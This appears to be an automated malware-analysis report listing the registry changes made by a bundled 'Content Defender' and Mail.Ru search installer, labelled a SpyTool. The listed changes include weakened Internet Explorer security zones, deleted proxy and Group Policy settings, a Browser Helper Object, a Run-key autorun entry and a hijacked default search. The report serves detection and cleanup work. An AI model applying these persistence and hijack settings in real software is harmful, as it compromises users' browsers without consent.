[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ContentDefender]
"DisplayName" = "Content Defender"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\BagMRU\0]
"MRUListEx" = "02 00 00 00 00 00 00 00 01 00 00 00 FF FF FF FF"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKLM\SOFTWARE\ContentDefender]
"SourceId" = "106"
"ff" = "yes"

[HKLM\System\CurrentControlSet\Control\GroupOrderList]
"PNP_TDI" = "08 00 00 00 05 00 00 00 01 00 00 00 02 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ContentDefender]
"UninstallString" = "%Program Files%\Content Defender\ConDefSetup.exe uninst=1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\BagMRU]
"NodeSlots" = "02 02 02 02 02 02 02 02 02 02 02"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F8 77 8F 25 8A B2 07 6F 15 39 4F B2 7D 00 C3 CE"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached]
"{E88DCCE0-B7B3-11D1-A9F0-00AA0060FA31} {000214E6-0000-0000-C000-000000000046} 0x401" = "01 00 00 00 7C 6C 9C 7C 7C F9 C8 13 B4 3A D1 01"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\ContentDefender]
"SiteID" = "200075929"
"UserId" = "E01A1572-D638-425F-8BF1-FA5421DC75C8"

The SpyTool modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The SpyTool modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The SpyTool modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The SpyTool deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process %original file name%.exe:1772 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\891CCC43-641B-4FA9-A78F-330AA176ACF8]
"condefsetup (19).exe" = "Content Defender Setup"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"EventMessageFile" = "%System%\ESENT.dll"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryCount" = "16"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"
"LogSessionName" = "stdout"

[HKCU\Software\Microsoft\Direct3D\MostRecentApplication]
"Name" = "%original file name%.exe"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"
"ControlFlags" = "1"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\AED1F5A4-9A39-4103-88D4-3983C5D63522]
"mailruhomesearchvbm.exe" = "MailRuSputnik"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B7 A5 89 13 4D 3F B9 48 02 42 4F 67 AE 8E 4D EA"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"TypesSupported" = "7"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\180db906bf11d2e49fe1944839bd2edd\DEBUG]
"Trace Level" = ""

The SpyTool modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The SpyTool modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The SpyTool modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The SpyTool deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\ESENT\Process\180db906bf11d2e49fe1944839bd2edd\DEBUG]
"Trace Level"

The process mailruhomesearchvbm.exe:1568 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"regsvr32.exe" = "Microsoft(C) Register Server"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{FFEBBF0A-C22C-4172-89FF-45215A135AC7}]
"ShowSearchSuggestions" = "1"

[HKCU\Software\Mail.Ru\Tech\pttate]
"(Default)" = "5A A9 0C 42 8E 2C 50 21 D1 D5 B0 5B 02 17 9A 2A"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Mail.Ru\Tech\ieext\{8E8F97CD-60B5-456F-A201-73065652D099}]
"mrds_metric_url" = "http://mrds.mail.ru/update/2/version.txt?type=product_online_metric&product_id={FCAC0289-9E83-404D-835A-456858C7F63B}&install_id={EB34BD17-5115-4756-BA31-330B3560E00C}&kind=ie_xtndse&gp=789119&pd=1&day_num=${DAYNUM}&version=${VERSION}"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKCU\Software\Mail.Ru\Tech\ieext\{8E8F97CD-60B5-456F-A201-73065652D099}]
"install_id" = "{EB34BD17-5115-4756-BA31-330B3560E00C}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{FFEBBF0A-C22C-4172-89FF-45215A135AC7}]
"SuggestionsURL" = "http://suggests.go.mail.ru/ie8?q={SearchTerms}"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Mail.Ru\Tech\ieext\{8E8F97CD-60B5-456F-A201-73065652D099}]
"PRODUCT_ID" = "{FCAC0289-9E83-404D-835A-456858C7F63B}"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Mail.Ru\Tech\ieext\{8E8F97CD-60B5-456F-A201-73065652D099}]
"go_metric_url" = "http://go.mail.ru/distib/mark/?product_id={FCAC0289-9E83-404D-835A-456858C7F63B}&install_id={EB34BD17-5115-4756-BA31-330B3560E00C}&kind=ie_xtndse&gp=789119"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Mail.Ru\IE_Bar\Settings]
"Guid" = "{EB34BD17-5115-4756-BA31-330B3560E00C}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{FFEBBF0A-C22C-4172-89FF-45215A135AC7}"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"MailRuUpdater.exe" = "Mail.Ru updater"

[HKCU\Software\Microsoft\Direct3D\MostRecentApplication]
"Name" = "mailruhomesearchvbm.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{FFEBBF0A-C22C-4172-89FF-45215A135AC7}]
"FaviconURLFallback" = "http://go.mail.ru/favicon.ico"

[HKCU\Software\Mail.Ru\Tech]
"UserId" = "{772AD6B2-D0DB-4F37-A078-C79AF1CBC43F}"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Favorites" = "%Documents and Settings%\All Users\Favorites"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKCU\Software\Mail.Ru\Tech\ieext\{8E8F97CD-60B5-456F-A201-73065652D099}]
"product_type" = "ie_xtndse"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "57 A3 33 A6 0E 89 F0 CF F7 E3 41 9A D2 7E 79 E1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{FFEBBF0A-C22C-4172-89FF-45215A135AC7}]
"URL" = "http://go.mail.ru/distib/ep/?q={SearchTerms}&product_id={13A9645E-708E-4E90-B014-5C10E6822E4D}&gp=789119"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{FFEBBF0A-C22C-4172-89FF-45215A135AC7}]
"DisplayName" = "Поиск@Mail.Ru"

[HKCU\Software\Mail.Ru\Tech\ieext\{8E8F97CD-60B5-456F-A201-73065652D099}]
"RFR" = "789119"

[HKCU\Software\Mail.Ru\Tech\PartnerLog\Components\Homepage]
"Installed" = "1"

[HKCU\Software\Mail.Ru\Tech\PartnerLog\Components\Vbm]
"Installed" = "0"

[HKCU\Software\Mail.Ru\Tech\PartnerLog\Components\Dse]
"Installed" = "1"

The SpyTool modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The SpyTool modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The SpyTool modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The SpyTool deletes the following registry key(s):

[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{3DFDF051-DB87-4B43-A592-7DE27DC3B23F}User]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{98170759-98F6-4D83-A272-2B708467CF73}Machine]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{5FB0C3C7-7821-4A5F-B4EA-751D95365955}User]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{A1B6B1E4-A0BA-4C9B-A9EE-7F81A2D981DB}Machine]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{A1B6B1E4-A0BA-4C9B-A9EE-7F81A2D981DB}User]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{2C48989B-E016-4AE0-8EB4-596DB4F41756}User]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{3DFDF051-DB87-4B43-A592-7DE27DC3B23F}Machine]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{5FB0C3C7-7821-4A5F-B4EA-751D95365955}Machine]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{E30C28A0-7AC7-43DE-BD6F-8DC825EE8461}User]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{2C48989B-E016-4AE0-8EB4-596DB4F41756}Machine]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{E30C28A0-7AC7-43DE-BD6F-8DC825EE8461}Machine]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{0EFF7153-6A18-43CE-898B-0E5F5E4A01F4}Machine]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{0EFF7153-6A18-43CE-898B-0E5F5E4A01F4}User]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{98170759-98F6-4D83-A272-2B708467CF73}User]

The SpyTool deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{FFEBBF0A-C22C-4172-89FF-45215A135AC7}]
"Deleted"

The process regsvr32.exe:1232 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKCR\Interface\{23B8D468-7358-408C-B1AC-8BAE2A610C41}\TypeLib]
"(Default)" = "{C69276F0-9BC1-404F-8566-FCB14D0ED4B8}"

[HKCR\CLSID\{8E8F97CD-60B5-456F-A201-73065652D099}\InprocServer32]
"(Default)" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru\Sputnik\IESearchPlugin.dll"

[HKCR\IESearchPlugin.MailRuBHO]
"(Default)" = "Ïîèñê@Mail.Ru"

[HKCU\Software\Microsoft\Internet Explorer\Approved Extensions]
"{8E8F97CD-60B5-456F-A201-73065652D099}" = "51 66 7A 6C 4C 1D 3B 1B DD 88 94 93 82 33 03 08"

[HKCR\CLSID\{8E8F97CD-60B5-456F-A201-73065652D099}\Name]
"(Default)" = "Ïîèñê@Mail.Ru"

[HKCR\Interface\{23B8D468-7358-408C-B1AC-8BAE2A610C41}]
"(Default)" = "_ISearchPluginEvents"

[HKCR\Interface\{2170BCBA-E35C-42A5-9CDB-691334845FA4}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{68AE298D-7E8A-4F53-BE55-15D2B065F6C0}]
"AppPath" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru"

[HKCR\CLSID\{8E8F97CD-60B5-456F-A201-73065652D099}\Version]
"(Default)" = "1.0"

[HKCR\TypeLib\{C69276F0-9BC1-404F-8566-FCB14D0ED4B8}\1.0\FLAGS]
"(Default)" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKCR\IESearchPlugin.MailRuBHO.1]
"(Default)" = "Ïîèñê@Mail.Ru"

[HKCR\Interface\{23B8D468-7358-408C-B1AC-8BAE2A610C41}\TypeLib]
"Version" = "1.0"

[HKCR\Interface\{23B8D468-7358-408C-B1AC-8BAE2A610C41}\ProxyStubClsid]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\TypeLib\{C69276F0-9BC1-404F-8566-FCB14D0ED4B8}\1.0\HELPDIR]
"(Default)" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru\Sputnik"

[HKCR\TypeLib\{C69276F0-9BC1-404F-8566-FCB14D0ED4B8}\1.0\0\win32]
"(Default)" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru\Sputnik\IESearchPlugin.dll"

[HKCR\Interface\{2170BCBA-E35C-42A5-9CDB-691334845FA4}\ProxyStubClsid]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\CLSID\{8E8F97CD-60B5-456F-A201-73065652D099}\ProgID]
"(Default)" = "IESearchPlugin.MailRuBHO.1"

[HKCR\IESearchPlugin.MailRuBHO.1\CLSID]
"(Default)" = "{8E8F97CD-60B5-456F-A201-73065652D099}"

[HKCR\TypeLib\{C69276F0-9BC1-404F-8566-FCB14D0ED4B8}\1.0]
"(Default)" = "IESearchPluginLib"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{68AE298D-7E8A-4F53-BE55-15D2B065F6C0}]
"AppName" = "mrkeeper.exe"

[HKCR\Interface\{2170BCBA-E35C-42A5-9CDB-691334845FA4}\TypeLib]
"Version" = "1.0"

[HKCR\CLSID\{8E8F97CD-60B5-456F-A201-73065652D099}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\CLSID\{8E8F97CD-60B5-456F-A201-73065652D099}\TypeLib]
"(Default)" = "{C69276F0-9BC1-404F-8566-FCB14D0ED4B8}"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "89 6E 8C F4 C5 A9 D5 3B EB 34 AD 95 11 18 0D 7C"

[HKCR\IESearchPlugin.MailRuBHO\CurVer]
"(Default)" = "IESearchPlugin.MailRuBHO.1"

[HKCR\Interface\{2170BCBA-E35C-42A5-9CDB-691334845FA4}\TypeLib]
"(Default)" = "{C69276F0-9BC1-404F-8566-FCB14D0ED4B8}"

[HKCR\Interface\{2170BCBA-E35C-42A5-9CDB-691334845FA4}]
"(Default)" = "ISearchPlugin"

[HKCR\CLSID\{8E8F97CD-60B5-456F-A201-73065652D099}]
"(Default)" = "Ïîèñê@Mail.Ru"

[HKCR\IESearchPlugin.MailRuBHO\CLSID]
"(Default)" = "{8E8F97CD-60B5-456F-A201-73065652D099}"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{68AE298D-7E8A-4F53-BE55-15D2B065F6C0}]
"Policy" = "3"

[HKCR\Interface\{23B8D468-7358-408C-B1AC-8BAE2A610C41}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

It registers itself as a Browser Helper Object (BHO) to ensure its automatic execution every time Internet Explorer is run. It does this by creating the following registry key(s)/entry(ies):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{8E8F97CD-60B5-456F-A201-73065652D099}]
"NoExplorer" = "1"

"(Default)" = "MRSearchPlugin"

The SpyTool deletes the following registry key(s):

[HKCR\CLSID\{8E8F97CD-60B5-456F-A201-73065652D099}]
[HKCR\CLSID\{8E8F97CD-60B5-456F-A201-73065652D099}\Programmable]
[HKCR\CLSID\{8E8F97CD-60B5-456F-A201-73065652D099}\InprocServer32]
[HKCR\IESearchPlugin.MailRuBHO]
[HKCR\CLSID\{8E8F97CD-60B5-456F-A201-73065652D099}\ProgID]
[HKCR\IESearchPlugin.MailRuBHO.1\CLSID]
[HKCR\IESearchPlugin.MailRuBHO\CLSID]
[HKCR\IESearchPlugin.MailRuBHO.1]
[HKCR\CLSID\{8E8F97CD-60B5-456F-A201-73065652D099}\Name]
[HKCR\CLSID\{8E8F97CD-60B5-456F-A201-73065652D099}\TypeLib]
[HKCR\CLSID\{8E8F97CD-60B5-456F-A201-73065652D099}\Version]
[HKCR\IESearchPlugin.MailRuBHO\CurVer]

The process MailRuUpdater.exe:1768 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\MailRuUpdater]
"Publisher" = "Mail.Ru"
"InstallLocation" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru\MailRuUpdater.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\MailRuUpdater]
"UninstallString" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru\MailRuUpdater.exe uninstall"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\MailRuUpdater]
"DisplayName" = "Служба автоматического обновления программ"

[HKCU\Software\Mail.Ru\IE_Bar\Settings]
"Guid" = "{EB34BD17-5115-4756-BA31-330B3560E00C}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Mail.Ru\Updater]
"Guid" = "{EB34BD17-5115-4756-BA31-330B3560E00C}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\MailRuUpdater]
"VersionMinor" = "23"

[HKCU\Software\Microsoft\Direct3D\MostRecentApplication]
"Name" = "MailRuUpdater.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\MailRuUpdater]
"VersionMajor" = "1"
"DisplayIcon" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru\MailRuUpdater.exe"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru]
"MailRuUpdater.exe" = "Mail.Ru updater"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C4 06 4B 80 F3 CC 82 C7 B1 D5 C9 C1 7F 42 64 92"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

The SpyTool modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

To automatically run itself each time Windows is booted, the SpyTool adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"MailRuUpdater" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru\MailRuUpdater.exe"

The SpyTool modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The SpyTool modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The SpyTool deletes the following registry key(s):

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\MailRuUpdater]

The SpyTool deletes the following value(s) in system registry:

The SpyTool disables automatic startup of the application by deleting the following autorun value:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"MailRuUpdater"

